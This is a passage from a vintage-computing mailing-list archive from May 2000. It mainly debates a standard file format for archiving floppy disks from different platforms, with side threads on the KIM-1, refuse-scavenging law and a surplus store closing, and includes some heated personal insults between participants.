or double-side, either FM or MFM, and either 5-1/4" or 8" diskettes, e.g. my CCS system, though it was not equipped with a booter that did that when I got it. More importantly, however, I remember that in the CP/M days, but prior to the TRS-80, CP/M software was distributed on "standard" 8" SSSD media with no trace of the OS on them, and that arrangement worked perfectly well. The problem of media exchange was not a problem until the 5-1/4" diskettes became popular enough to exclude 8" drives and media from a large share of the systems on the market. What puzzled me was why, given that many systems were quite capable of handling various media, they didn't write their code so it would load a booter from the first sector, and make that booter deal with the low-level details of the medium. My old SMS controller would read nearly any type of sector it could write with a "read-sector" command. It didn't matter whether it was 128-bytes or 2048, nor did it matter whether it was FM or MFM. Just as an aside, I recently encountered a datasheet for the WD 1773 FDC (similar to 1770/72). Do you know of any systems in which it was used? Dick ----- Original Message ----- From: Don Maslin To: Sent: Tuesday, May 30, 2000 1:01 PM Subject: Re: Defining Disk Image Dump Standard > > > On Tue, 30 May 2000, Richard Erlacher wrote: > > > I never understood why the double density CP/M diskettes were not bootable, > > and why "distribution-standard" diskettes had to be bootable. These are two > > different features, and what's important about the "standard" is not that > > it's bootable but that it's defined so as to be universally readable. > > But that is/was not always true! There were a number of 8" CP/M systems > that used bootable DD formats, and most all 5.25" CP/M systems were in a > bootable DSDD format. > > 8" SSDD: > Altos Avtek > Heurikon MLZ-90 > Ithaca Intersystems > Octagon 8/16 > Ohio Scientific Turbo > Tektronix 8 > Vista A-800 > > 8" DSDD: > Heath Magnolia > Heurikon MLZ-90 > Ithaca Intersystems > MDS-80 > Prolog APL-2 > System Group 2800 > W.J. Engineering > > In the 5.25" bunch, the two obvious ones that immediately come to mind > as using the SD boot track are Osborne and Xerox. > > - don > > > The thing that made 5-1/4" "standard" diskettes unachievable back in the > > CP/M days was that people couldn't let go of the notion that every diskette > > had to be bootable. Frankly, I got fine mileage out of diskettes which > > couldn't be booted, yet I never had a problem booting up. > > > > It's silly to mix these two desirables. They're not bound together. Let's > > not require something that's counterproductive as this is. If you make a > > distribution standard for media, then use it for distribution. Let the OS > > determine what's suitable for booting. > > > > Dick > > > > ----- Original Message ----- > > From: Sellam Ismail > > To: > > Sent: Tuesday, May 30, 2000 12:50 AM > > Subject: Re: Defining Disk Image Dump Standard > > > > > > > > > > Let's start sort of from scratch here. > > > > > > So far we have the following (high level) criterion for a disk archive > > > standard: > > > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > > specified) > > > 2. Track format (host computer specific) > > > 3. Sector format (single-density, double-density, etc) > > > 4. Sector data format - this will specify what format the archived sector > > > is in (raw data? logical bytes?) > > > 5. Bytes per sector > > > 6. Bits per byte > > > > > > What else? > > > > > > I will be the first to say that this is may not be very logically > > > structured. What I am attempting to do is give a suggestion for a high > > > level header that identifies what each chunk of data in the archive can > > > represent. In this way, disks that are formatted with several different > > > formats can be described. > > > > > > I think what this may evolve into is a Data Definition Language. The DDL > > > will be encoded along with the disk data and will describe the format of > > > the data on the disk as it is being read. > > > > > > This comes back to the fact that utilities will have to be written for > > > each computer we decide to support (I assume it will be all of them) to > > > both read and write native diskettes. I also assume the data will be > > > passed between the archive host and the target machine via serial link? > > > > > > In case my mostly random thoughts above don't make sense, here is what I > > > would have in mind for the Apple ][: > > > > > > The disk can be read in either standard, logical format (13 or 16 sectors > > > per track, 256 bytes per sector) or "raw" format (raw disk bytes are read > > > from the track). There would also have to be format descriptions for > > > specially formatted tracks such as the 18-sector type I mentioned. > > > > > > As for reading the raw bytes, the Apple ][ had what were called > > > "synchronization" bytes, which were 10 bits long, the two extra bits being > > > used to synchronize the head with the start of the track. I could go into > > > a technical discussion of this but would have to pull out some reference > > > material to refresh my memory of how it all worked. Anyway, these bytes > > > would have to be specially encoded in the archive. > > > > > > Sellam International Man of Intrigue and > > Danger > > > -------------------------------------------------------------------------- > > ----- > > > Looking for a six in a pile of nines... > > > > > > Coming soon: VCF 4.0! > > > VCF East: Planning in Progress > > > See http://www.vintage.org for details! > > > > > > > > > > > From richard at idcomm.com Tue May 30 14:47:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard References: <001901bfca47$48077400$0400c0a8@EAHOME> <20000530152033.A17084@dbit.dbit.com> Message-ID: <002701bfca6f$fb815140$0400c0a8@EAHOME> Yes, and what several vendors recommended so their "dumb" loader prom would work with DD media was to write the boot tracks in SD. Unfortunately I never found one that provided a utility to do that for you, so I had to create my own formatter with which to do that. It always bothered me to take that approach, so I ultimately fixed my CCS box to do it "correctly" in my view. With a 4 MHz processor it was no problem to transfer either single or double density. The DMA was only needed if you ran a slower CPU. However, if you needed to read the WORDSTAR software from distribution diskettes, it was not necessary to put any low-level OS-specific materials on the distribution medium. It didn't need to boot from MicroPro's diskettes. Dick ----- Original Message ----- From: John Wilson To: Sent: Tuesday, May 30, 2000 1:20 PM Subject: Re: Defining Disk Image Dump Standard > On Tue, May 30, 2000 at 12:01:30PM -0700, Don Maslin wrote: > >But that is/was not always true! There were a number of 8" CP/M systems > >that used bootable DD formats, and most all 5.25" CP/M systems were in a > >bootable DSDD format. > > I always figured the reason for the restriction was dumb boot PROMs, which > only know how to do programmed I/O to the FDC, and 8" DD comes in too fast > for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on > a particular system is smart enough to set up DMA, no need to require SD. > > John Wilson > D Bit > From peter at joules.org Tue May 30 10:25:28 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:53:12 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> References: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> Message-ID: <7RH3GyAo19M5EwKX@joules0.demon.co.uk> In article <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER>, Douglas Quebbeman writes > >Not sure what country you live in, but if you're in the US, then >regardless of whatever munincipal laws have been enacted, the U.S. >Supreme Court has ruled (on multiple occaisions) that refuse is >exactly that- stuff that people no longer want. I am in the UK. The attitude of the legislature here is that property belongs to someone unless they explicitly give it to you. This was highlighted in a case a few years ago when a refuse collector was convicted of stealing from the council which employed him for salvaging stuff which had been thrown out by householders. The ruling was that, once refuse was put out for collection it became the property of the council. -- Regards Pete From Hans.Franke at mch20.sbs.de Tue May 30 15:08:27 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002701bfca6f$fb815140$0400c0a8@EAHOME> Message-ID: <39343BDB.19328.2BA8AA9@localhost> > Yes, and what several vendors recommended so their "dumb" loader prom would > work with DD media was to write the boot tracks in SD. Unfortunately I > never found one that provided a utility to do that for you, so I had to > create my own formatter with which to do that. It always bothered me to > take that approach, so I ultimately fixed my CCS box to do it "correctly" in > my view. With a 4 MHz processor it was no problem to transfer either single > or double density. The DMA was only needed if you ran a slower CPU. Well, within some unixes this was fairly common and the default formating utils would do the trick... Side 0 / Track 0 has been done in SD, while the rest was DD. Nice history fact: The SIEMENS PC-D, a 186 DOS machine, was due the boot ROM still able to boot a SD DOS floppy _and_ the BIOS did support DOS disks with T/S 0/0 as SD... I never found a disk using this feature other than a special diagnostics disk made to test it... Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From donm at cts.com Tue May 30 15:29:21 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002401bfca6f$3378d240$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > Clearly, I was insufficiently clear about what I meant. Bootability is not > an issue when exchange of media is the goal. I know there are systems that > boot from EITHER density and will do so from either single-side or > double-sided media, since I have a couple of them running. There are even > systems that will boot from single-sided or double-side, either FM or MFM, > and either 5-1/4" or 8" diskettes, e.g. my CCS system, though it was not > equipped with a booter that did that when I got it. > > More importantly, however, I remember that in the CP/M days, but prior to > the TRS-80, CP/M software was distributed on "standard" 8" SSSD media with > no trace of the OS on them, and that arrangement worked perfectly well. The > problem of media exchange was not a problem until the 5-1/4" diskettes > became popular enough to exclude 8" drives and media from a large share of > the systems on the market. > > What puzzled me was why, given that many systems were quite capable of > handling various media, they didn't write their code so it would load a > booter from the first sector, and make that booter deal with the low-level > details of the medium. My old SMS controller would read nearly any type of > sector it could write with a "read-sector" command. It didn't matter > whether it was 128-bytes or 2048, nor did it matter whether it was FM or > MFM. > > Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > (similar to 1770/72). Do you know of any systems in which it was used? No, sorry, not off the top of my head. - don > Dick > > ----- Original Message ----- > From: Don Maslin > To: > Sent: Tuesday, May 30, 2000 1:01 PM > Subject: Re: Defining Disk Image Dump Standard > > > > > > > > On Tue, 30 May 2000, Richard Erlacher wrote: > > > > > I never understood why the double density CP/M diskettes were not > bootable, > > > and why "distribution-standard" diskettes had to be bootable. These are > two > > > different features, and what's important about the "standard" is not > that > > > it's bootable but that it's defined so as to be universally readable. > > > > But that is/was not always true! There were a number of 8" CP/M systems > > that used bootable DD formats, and most all 5.25" CP/M systems were in a > > bootable DSDD format. > > > > 8" SSDD: > > Altos Avtek > > Heurikon MLZ-90 > > Ithaca Intersystems > > Octagon 8/16 > > Ohio Scientific Turbo > > Tektronix 8 > > Vista A-800 > > > > 8" DSDD: > > Heath Magnolia > > Heurikon MLZ-90 > > Ithaca Intersystems > > MDS-80 > > Prolog APL-2 > > System Group 2800 > > W.J. Engineering > > > > In the 5.25" bunch, the two obvious ones that immediately come to mind > > as using the SD boot track are Osborne and Xerox. > > > > - don > > > > > The thing that made 5-1/4" "standard" diskettes unachievable back in the > > > CP/M days was that people couldn't let go of the notion that every > diskette > > > had to be bootable. Frankly, I got fine mileage out of diskettes which > > > couldn't be booted, yet I never had a problem booting up. > > > > > > It's silly to mix these two desirables. They're not bound together. > Let's > > > not require something that's counterproductive as this is. If you make > a > > > distribution standard for media, then use it for distribution. Let the > OS > > > determine what's suitable for booting. > > > > > > Dick > > > > > > ----- Original Message ----- > > > From: Sellam Ismail > > > To: > > > Sent: Tuesday, May 30, 2000 12:50 AM > > > Subject: Re: Defining Disk Image Dump Standard > > > > > > > > > > > > > > Let's start sort of from scratch here. > > > > > > > > So far we have the following (high level) criterion for a disk archive > > > > standard: > > > > > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > > > specified) > > > > 2. Track format (host computer specific) > > > > 3. Sector format (single-density, double-density, etc) > > > > 4. Sector data format - this will specify what format the archived > sector > > > > is in (raw data? logical bytes?) > > > > 5. Bytes per sector > > > > 6. Bits per byte > > > > > > > > What else? > > > > > > > > I will be the first to say that this is may not be very logically > > > > structured. What I am attempting to do is give a suggestion for a > high > > > > level header that identifies what each chunk of data in the archive > can > > > > represent. In this way, disks that are formatted with several > different > > > > formats can be described. > > > > > > > > I think what this may evolve into is a Data Definition Language. The > DDL > > > > will be encoded along with the disk data and will describe the format > of > > > > the data on the disk as it is being read. > > > > > > > > This comes back to the fact that utilities will have to be written for > > > > each computer we decide to support (I assume it will be all of them) > to > > > > both read and write native diskettes. I also assume the data will be > > > > passed between the archive host and the target machine via serial > link? > > > > > > > > In case my mostly random thoughts above don't make sense, here is what > I > > > > would have in mind for the Apple ][: > > > > > > > > The disk can be read in either standard, logical format (13 or 16 > sectors > > > > per track, 256 bytes per sector) or "raw" format (raw disk bytes are > read > > > > from the track). There would also have to be format descriptions for > > > > specially formatted tracks such as the 18-sector type I mentioned. > > > > > > > > As for reading the raw bytes, the Apple ][ had what were called > > > > "synchronization" bytes, which were 10 bits long, the two extra bits > being > > > > used to synchronize the head with the start of the track. I could go > into > > > > a technical discussion of this but would have to pull out some > reference > > > > material to refresh my memory of how it all worked. Anyway, these > bytes > > > > would have to be specially encoded in the archive. > > > > > > > > Sellam International Man of Intrigue > and > > > Danger > > > > > -------------------------------------------------------------------------- > > > ----- > > > > Looking for a six in a pile of nines... > > > > > > > > Coming soon: VCF 4.0! > > > > VCF East: Planning in Progress > > > > See http://www.vintage.org for details! > > > > > > > > > > > > > > > > > > From ryan at inc.net Tue May 30 15:41:01 2000 From: ryan at inc.net (Ryan K. Brooks) Date: Sun Feb 27 18:53:12 2005 Subject: Kim-1 analog portions Message-ID: <3934275D.1585720@inc.net> So, I just lost an auction for a KIM-1... But this prompted me to ask a question: In the picture of the KIM on ebay: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=337577016 There's a lot of analog stuff (mostly large caps from what I can tell) in the lower left. Is this power supply stuff? Tape stuff? I've got a Sym-1, and doesn't have nearly as much analog on it. Just curious, Ryan Brooks ryan@inc.net From Hans.Franke at mch20.sbs.de Tue May 30 15:50:52 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:12 2005 Subject: Kim-1 analog portions In-Reply-To: <3934275D.1585720@inc.net> Message-ID: <393445CC.12187.2E15F84@localhost> > So, I just lost an auction for a KIM-1... But this prompted me to ask > a question: I guess I should sell mine .... > There's a lot of analog stuff (mostly large caps from what I can tell) > in the lower left. Is this power supply stuff? Tape stuff? I've > got a Sym-1, and doesn't have nearly as much analog on it. Most stuff is good for the Tape interface - also some for the RESET/NMI/Singlestep logic... Power is completly external - you have to supply DC. Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From mikeford at socal.rr.com Tue May 30 15:52:23 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:12 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: <200005301539.LAA07607@bg-tc-ppp912.monmouth.com> References: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> from Douglas Quebbeman at "May 30, 2000 09:33:00 am" Message-ID: >> > Once it is in the skip, anyone taking it away, other than the waste >> > disposal people, is stealing it. This has already been made clear to >> > me. >> >> Not sure what country you live in, but if you're in the US, then >> regardless of whatever munincipal laws have been enacted, the U.S. >> Supreme Court has ruled (on multiple occaisions) that refuse is >> exactly that- stuff that people no longer want. >> >Well, the rule depends. If it's a commercial dumpster on >private property you're tresspassing and stealing if it's in >the dumpster. At the curb it's on public property and avaiable. If it didn't have value you wouldn't be taking it now would you? Here in the peoples republic of California, Orange division once it hits the curb is the legal property of the city, which gets a check from the waste company based on aluminum cans etc. Scavenging is illegal, and they even send out magnets with a hotline number to call for reporting it. OTOH I had a little dumpster diving in mind for this afternoon. From mikeford at socal.rr.com Tue May 30 15:52:22 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:12 2005 Subject: Games: was Re: Get up on the wrong side of the bed ... In-Reply-To: <3933DC66.8AA07D2F@rain.org> References: Message-ID: >Different strokes for different folks; what do we learn with a flame war? Email filters. From foo at siconic.com Tue May 30 15:17:59 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <001901bfca6c$a76424a0$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > The way you separate the operating system from the executables is by never, > Never, NEVER, mixing them on the same medium, particularly if it's intended > for dissemination. If the platforms are disparate, you certainly don't need Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all the various computer manufacturers to never, NEVER mix their OS with the rest of the program space on the disk. Fortunately, we are not trying to revise the reality of our world, but are merely trying to deal with what it has become, which is a much simpler procedure. At this point I would say it's time for Dick's nap and be done with him but it seems he has a few more hundred lines of useless spewage as usual. > when these old machines were relevant doesn't matter. What you need is a > way to put the material you wish to convey to some other party on a medium > which is likely to be readable today and in the future by the intended > destinee. Really? I thought we were trying to build a perpetual motion machine here. Thanks for getting me back on track, Dick! > I'm just raising the issue that not every system has floppy disks or mag > tape, and, certainly fewer have both. Then there's the issue of how to read Well, correct me if I'm wrong, but I *THINK*, not sure, but I THINK, we were, in fact, talking about creating floppy disk archives. Correct me if I'm wrong, Dick. > them on system A when written on system B. The latter's inherently > solvable, but if you want to archive data about or useful with a given OS, > you don't have to write the data to a medium capable of reading or > interpreting the OS image. The primary concern is finding a medium that's Dick, why do you propose problems that you just end up arguing against? Are you even aware that there are other people on this mailing list that you are communicating with, or do you think this entire conversation is going on in your head? No one ever proposed what you are railing against right now. Are you insane? No, really. I'm being serious. Do you suffer from a mental condition? > It's just as I said before: You simply want to transmit, but you don't want > to receive. No, Dick. The problem here is you are transmitting, then receiving it yourself, getting angry at what you read, and then associating it with whatever hapless fool happens to be in the vicinity at the moment, and then blaming them for it. EARTH TO DICK: GET A CLUE. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Tue May 30 13:05:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Sellam Ismail" at May 29, 0 11:19:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1689 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/f3bd1079/attachment-0001.ksh From ard at p850ug1.demon.co.uk Tue May 30 13:16:31 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Sellam Ismail" at May 29, 0 11:50:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2261 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/4faf737b/attachment-0001.ksh From foo at siconic.com Tue May 30 15:20:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002401bfca6f$3378d240$0400c0a8@EAHOME> Message-ID: Ok, since certain individual(s) don't seem to understand what this project is about, what we are discussing here is DEFINING A STANDARD FILE FORMAT FOR ARCHIVING FLOPPY DISKETTES FROM DIFFERENT COMPUTING PLATFORMS. It is, amazingly, the very same project that was proposed when this discussion first began. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 15:34:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Tue, 30 May 2000, Tony Duell wrote: > [Odd Apple ][ format] > > This 18-sector format provided two benefits: 1) increased storage space > > and 2) a form of copy protection. > > In what way is 'copy protection' a benefit? >From Broderbund's perspective it was a benefit :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mikeford at socal.rr.com Tue May 30 16:39:16 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:12 2005 Subject: A moment of silence... In-Reply-To: <3934020A.10324.1D8B212@localhost> References: <3932DEA9.8720.146821E@localhost> Message-ID: Terribly sad they are closing, but who is getting all their stuff? Last time I was in Halted, most of the prices seemed a bit silly, but I agree the place had character. From rdd at smart.net Tue May 30 16:41:33 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:12 2005 Subject: Unusual weekend find In-Reply-To: <2921A6D846E9D31182490050040DC0D6682DCA@hoexc101.hotoffice.com> Message-ID: On Tue, 30 May 2000, Steve Robertson wrote: > The system is a "Lasor Computer" (note the spelling) is housed in a > desk-sized cabinent and weighs about 300 LBS. I don't know if it's true but, [...] > It has two 8" floppies, 2 10-MB hard drives, and 16 serial ports. All the > major components are mounted in 19" trays so, supposedly everything could go Nice find! Wow, that weighs more than my Dynabyte 5100 system! Are those 8" hard drives? Out of curiosity, has anyone else had the experience of finding 8" hard drives to be noisier than 14" hard drives? > According to the DOCs, the system runs "MLX" which stands for "Multiuser > Executive". supposedly, it can read CPM formatted disks. I'm not sure if it > will boot CPM or execute CPM apps though. Could that be renamed MP/M or a variant of MP/M? > When I tried to boot the system, it got a failure on the boot drive so, I > had to do some microsurgery. Seems the heads had stuck to the platters and > it took a little coaxing to get the platters spinning again. Hopefully, I > didn't hurt the platters too much. What's needed is a good, inexpensive, portable "clean room box." A while back, I saw one of these somewhere, but it wasn't something marketed to hobbyists and I doubt that it was inexpensive. It was basically a plexiglas box with filtered air and attached gloves. Hmmm, I wonder... some pieces of alumimum, plexiglas, glue, rubber gloves, HEPA filter and strong exhaust fan... cheap mini clean room! Ok, not perfect, but worth a try for fixing some hard disk problems when a drive is inoperable? > I finally did get the system to boot OK but, now I'm getting a "Password" Ok, not MP/M apparently, or so it appears. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From mikeford at socal.rr.com Tue May 30 16:55:20 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: References: from "Sellam Ismail" at May 29, 0 11:19:12 pm Message-ID: >[Odd Apple ][ format] >> This 18-sector format provided two benefits: 1) increased storage space >> and 2) a form of copy protection. > >In what way is 'copy protection' a benefit? People actually pay for a copy of the software to use it. Weird huh? From foo at siconic.com Tue May 30 15:56:09 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Tue, 30 May 2000, Tony Duell wrote: > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > specified) > > 1a. Host computer format, to allow for machines that support several native > formats (e.g. PERQ POS floppy/PERQ PNX floppy/PERQ interchange floppy) In what ways do the formats differ? Are you talking logical format or physical format? If it is physical then I would agree. If it's logical then that's more detail than we want to get into. We only need concern ourselves to the level of organized blocks of data on the diskette (i.e. sectors & tracks). > > 2. Track format (host computer specific) > I assume things like the interleave order go in here. Yes, see followup posting after Jim's input. > It's probably best to regard the sector as a stream of bits, suitably > packed into the bytes on whatever machine is doing the imaging But only if necessary. I think it would be far more useful to simply store the bytes of each sector on the original disk. I would only want to archive the bit stream of a track if the format was unusual. > > 5. Bytes per sector > > 6. Bits per byte > > Isn't that rather defined by 1 and 2 above? Not necessarily. It's entirely possible to write 20-bit bytes on the Apple Disk ][ hardware if one wanted for instance. Not that I know of anyone who's ever done that. I included the bits-per-byte field at the behest of someone (sorry, forgot who) who suggested that a disk "byte" is not always "eight bits". > Wouldn't it be possible to store the data from a particular track in > several formats? As logical sectors, or as a stream of bytes _in the same > image file_. Using a pseudo-notation : That is what I am advocating the standard should be able to support, although I hadn't thought about being able to support the same image in two separate formats (logical sectors vs. physical bytes) in the same archive. > Machine : Apple ][ > Machine-specifc format : DOS 3.3 16 sector disk, standard format > Track layout : 35 tracks, 1 head > Track 0 Hd 0: Logical data. Sectors are 1 (GCR), 3 (GCR), > 5(GCR),...2(GCR),4(GCR),6(GCR)... (or whatever the > interleave order is) > Track 0, Hd 0, Sector 0 : > Track 0, Hd 0, Sector 1 : > etc > Track 0 Hd 0 Physical data : on the disk. This would include GCR sync > bytes, FM/MFM clock and data pulses, etc. > Basically saying: Pulse, gap of 250uS, pulse, > gap of 500us, etc> > > Repeat for track 1, etc.... I would be more inclined to create two separate images for each format. But that's just my preferred method of organization. As far as encoding the level of detail that Tony suggests above, I don't know that you'd want to have a header for each sector in the archive image. Unless there was a header for each sector that perhaps contained the following: Track/Head/Sector/Density/#Bytes/ (...etc...) In this way you could specify a change in the format of each sector and it would be very flexible. There would be an 8-12 byte header for each sector. It would then render some of the fields stored in the overall header worthless then. Another way to do this is to have a chain of Description Headers that are stored at the beginning of each "chunk" of similar disk data. So for a standard diskette, you'd need only one header that describes the format for the entire disk (35 tracks, 16 sectors per track, 256 bytes per sector, etc). If the disk format varies on the disk, say track 0 is 16 sectors and tracks 1-34 are 18 sectors, you would have the header for the first track including an offset to the beginning of the next Description Header, then the first track's worth of data, then the next Description Header and the offset link to the next one, followed by the chunk of sectors defined by this header, etc. Know what I mean? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Tue May 30 16:55:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <003301bfca81$d4676100$0400c0a8@EAHOME> Just because system makers wanted to reduce the number of disks the sent out with their systems doesn't mean that their mistake has to be repeated. Just because they used to do it wrong, perhaps for a good reason (I'm sure they thought economics made their reason good). If you're trying to send a bit of information, and this is information, isn't it, you need merely find a way to distribute the information. You don't need to include unnecessary pieces of stuff that, in many cases, doesn't even belong to you. Are you saying that you don't know how to write a diskette without including the OS on it? see other comments below, plz. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 2:17 PM Subject: Re: Defining Disk Image Dump Standard > On Tue, 30 May 2000, Richard Erlacher wrote: > > > The way you separate the operating system from the executables is by never, > > Never, NEVER, mixing them on the same medium, particularly if it's intended > > for dissemination. If the platforms are disparate, you certainly don't need > > Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all > the various computer manufacturers to never, NEVER mix their OS with the > rest of the program space on the disk. Fortunately, we are not trying to > revise the reality of our world, but are merely trying to deal with what > it has become, which is a much simpler procedure. > > At this point I would say it's time for Dick's nap and be done with him > Too late! I already had my nap. > > but it seems he has a few more hundred lines of useless spewage as usual. > > > when these old machines were relevant doesn't matter. What you need is a > > way to put the material you wish to convey to some other party on a medium > > which is likely to be readable today and in the future by the intended > > destinee. > > Really? I thought we were trying to build a perpetual motion machine > here. Thanks for getting me back on track, Dick! > Well, what it looked like was exactly that, a perpetual motion machine. You'd perpetually be trying to deal with all the superflous information included due to your inability NOT to include the OS on a diskette. > > > > > > > I'm just raising the issue that not every system has floppy disks or mag > > tape, and, certainly fewer have both. Then there's the issue of how to read > > Well, correct me if I'm wrong, but I *THINK*, not sure, but I THINK, we > were, in fact, talking about creating floppy disk archives. Correct me if > I'm wrong, Dick. > > > them on system A when written on system B. The latter's inherently > > solvable, but if you want to archive data about or useful with a given OS, > > you don't have to write the data to a medium capable of reading or > > interpreting the OS image. The primary concern is finding a medium that's > > Dick, why do you propose problems that you just end up arguing against? > Are you even aware that there are other people on this mailing list that > you are communicating with, or do you think this entire conversation is > going on in your head? No one ever proposed what you are railing against > right now. Are you insane? No, really. I'm being serious. Do you > suffer from a mental condition? > > > > > It's just as I said before: You simply want to transmit, but you don't want > > to receive. > > No, Dick. The problem here is you are transmitting, then receiving it > yourself, getting angry at what you read, and then associating it with > whatever hapless fool happens to be in the vicinity at the moment, and > then blaming them for it. > Well, I believe you're probably more worked up than I. I doubt floppies will be around in 10-15 years, though they may be. However, if you don't find a way to avoid this built-in obsolescence, you'll be solving this problem again and again. I don't know what you're thinking about, but, the use of mechanical media of a type that's already been around as long as floppies, and, for that matter, other rotating media. Why not examine some other alternatives? What interested me about this thread was that a decision leading to as many problems as it solved was beginning to emerge. What puzzles me is why it's important that the originating system's identification data has to be included in a file of information, probably otherwise unrelated to the process of recording it. Once you have the means to read that data, it becomes suprefluous, since all that's needed once you're able to read that info is to figure out where the data block you're wanting to transmit begins and ends. If you want to be simple, you write absolutely nothing on the medium other than what you want to pass along. So long as you choose a medium that will be available later on when you want to use it, nothing could be simpler. The key is to use a data format that is easily understood, either because it's already a standard, or because you do things very simply by using one file per diskette, in a compressed format that is easily specified or standardized. With floppies, I don't know how you're going to use your Apple][ to read a diskette from a Kaypro. What's more, I don't know how you'll write a file with your PDP-5 such that a MacIntosh can read it. > > EARTH TO DICK: GET A CLUE. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 16:58:31 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <004101bfca82$323bc3c0$0400c0a8@EAHOME> ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 2:20 PM Subject: Re: Defining Disk Image Dump Standard > > Ok, since certain individual(s) don't seem to understand what this project > is about, what we are discussing here is DEFINING A STANDARD FILE FORMAT > FOR ARCHIVING FLOPPY DISKETTES FROM DIFFERENT COMPUTING PLATFORMS. > > It is, amazingly, the very same project that was proposed when this > discussion first began. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From foo at siconic.com Tue May 30 16:00:34 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: A moment of silence... In-Reply-To: Message-ID: On Tue, 30 May 2000, Mike Ford wrote: > Terribly sad they are closing, but who is getting all their stuff? > > Last time I was in Halted, most of the prices seemed a bit silly, but I > agree the place had character. Halted Specialties (HSC) is a different company. We are talking about HalteK. This whole issue is actually old news. Haltek already had a going out of business sale. It happened a few weeks ago. Whatever didn't sell I assume got scrapped. Eric Smith probably knows more details. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From elvey at hal.com Tue May 30 17:05:55 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:12 